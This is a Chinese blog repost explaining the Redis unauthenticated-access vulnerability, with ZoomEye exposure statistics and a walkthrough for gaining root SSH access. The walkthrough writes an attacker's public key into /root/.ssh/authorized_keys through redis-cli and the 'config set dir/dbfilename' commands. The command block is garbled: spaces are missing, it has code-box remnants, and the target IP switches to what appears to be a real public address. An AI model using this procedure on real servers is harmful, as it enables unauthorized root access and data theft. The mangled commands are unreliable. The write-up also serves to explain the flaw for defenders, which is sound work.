Redis 未授權(quán)訪問漏洞講解利用加批量尋找

來源:http://bbs.ichunqiu.com/thread-9199-1-1.html?from=ch

漏洞概述Redis 默認(rèn)情況下,會(huì)綁定在 0.0.0.0:6379,這樣將會(huì)將Redis服務(wù)暴露到公網(wǎng)上,如果在沒有開啟認(rèn)證的情況下,可以導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問Redis以及讀取Redis的數(shù)據(jù)。攻擊者在未授權(quán)訪問Redis的情況下可以利用Redis的相關(guān)方法,可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接登錄目標(biāo)服務(wù)器。

漏洞描述Redis 安全模型的觀念是: “請(qǐng)不要將Redis暴露在公開網(wǎng)絡(luò)中, 因?yàn)樽尣皇苄湃蔚目蛻艚佑|到Redis是非常危險(xiǎn)的” 。

Redis 作者之所以放棄解決未授權(quán)訪問導(dǎo)致的不安全性是因?yàn)? 99.99%使用Redis的場(chǎng)景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時(shí)也增加了復(fù)雜性, 雖然這個(gè)問題的并不是不能解決的, 但是這在他的設(shè)計(jì)哲學(xué)中仍是不劃算的。

因?yàn)槠渌苄湃斡脩粜枰褂肦edis或者因?yàn)檫\(yùn)維人員的疏忽等原因,部分Redis 綁定在0.0.0.0:6379,并且沒有開啟認(rèn)證(這是Redis的默認(rèn)配置),如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源ip訪問等,將會(huì)導(dǎo)致Redis服務(wù)直接暴露在公網(wǎng)上,導(dǎo)致其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務(wù)并進(jìn)行相關(guān)操作。

利用Redis自身的相關(guān)方法,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接登錄目標(biāo)服務(wù)器。

漏洞影響Redis 暴露在公網(wǎng)(即綁定在0.0.0.0:6379,目標(biāo)IP公網(wǎng)可訪問),并且沒有開啟相關(guān)認(rèn)證和添加相關(guān)安全策略情況下可受影響而導(dǎo)致被利用。

通過ZoomEye 的搜索結(jié)果顯示,有97700在公網(wǎng)可以直接訪問的Redis服務(wù)。

根據(jù) ZoomEye 最新于2015年11月12日0點(diǎn)探測(cè)結(jié)果顯示:

總的存在無驗(yàn)證可直接利用 Redis 服務(wù)的目標(biāo)全球有49099,其中中國有16477。其中被明著寫入crackit的,也就是已經(jīng)被黑的比例分別是全球65%(3.1萬),中國67.5%(1.1萬)。

1.1.? ? 漏洞分析與利用首先在本地生產(chǎn)公私鑰文件:

$ssh-keygen –t rsa

[AppleScript]純文本查看復(fù)制代碼

?

1

2

3然后將公鑰寫入foo.txt文件

$(echo-e"\n\n"; cat id_rsa.pub; echo-e"\n\n")>foo.txt再連接Redis寫入文件

$ cat foo.txt | redis-cli-h192.168.1.11-xsetcrackit$ redis-cli-h192.168.1.11$202.101.116.80:6379>configsetdir/root/.ssh/OK$202.101.116.80:6379>configgetdir1)"dir"2)"/root/.ssh"$202.101.116.80:6379>configsetdbfilename"authorized_keys"OK$192.168.1.11:6379>saveOK

這樣就可以成功的將自己的公鑰寫入/root/.ssh文件夾的authotrized_keys文件里,然后攻擊者直接執(zhí)行:

$ ssh –i??id_rsa [email]root@202.101.116.80[/email]即可遠(yuǎn)程利用自己的私鑰登錄該服務(wù)器。

當(dāng)然,寫入的目錄不限于/root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過Redis很多以root權(quán)限運(yùn)行,所以寫入root目錄下,可以跳過猜用戶的步驟。

Redis 未授權(quán)的其他危害與利用數(shù)據(jù)庫數(shù)據(jù)泄露Redis 作為數(shù)據(jù)庫,保存著各種各樣的數(shù)據(jù),如果存在未授權(quán)訪問的情況,將會(huì)導(dǎo)致數(shù)據(jù)的泄露,其中包含保存的用戶信息等

敏感信息泄露通過 Redis 的 INFO 命令, 可以查看服務(wù)器相關(guān)的參數(shù)和敏感信息, 為攻擊者的后續(xù)滲透做鋪墊

可以看到泄露了很多 Redis 服務(wù)器的信息, 有當(dāng)前 Redis 版本, 內(nèi)存運(yùn)行狀態(tài), 服務(wù)端個(gè)數(shù)等等敏感信息。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 1 Redis介紹1.1 什么是NoSql為了解決高并發(fā)、高可擴(kuò)展、高可用、大數(shù)據(jù)存儲(chǔ)問題而產(chǎn)生的數(shù)據(jù)庫解決方...
    克魯?shù)吕?/span>閱讀 5,707評(píng)論 0 36
  • ** 一、漏洞描述和危害 **Redis因配置不當(dāng)可以未授權(quán)訪問,被攻擊者惡意利用。攻擊者無需認(rèn)證訪問到內(nèi)部數(shù)據(jù),...
    是Jonathan閱讀 8,082評(píng)論 0 2
  • 安全性 設(shè)置客戶端連接后進(jìn)行任何其他指令前需要使用的密碼。 警告:因?yàn)閞edis 速度相當(dāng)快,所以在一臺(tái)比較好的服...
    OzanShareing閱讀 1,944評(píng)論 1 7
  • redis是一個(gè)以key-value存儲(chǔ)的非關(guān)系型數(shù)據(jù)庫。有五種數(shù)據(jù)類型,string、hashes、list、s...
    林ze宏閱讀 1,095評(píng)論 0 0
  • 第一次因?yàn)楹染七M(jìn)醫(yī)院,聽他們說我的生命差點(diǎn)就終結(jié)在這2016年的最后一天,嘴唇發(fā)青,全身顫抖。這一夜我喝的盡興,一...
    小寒寒1號(hào)閱讀 160評(píng)論 0 0

友情鏈接更多精彩內(nèi)容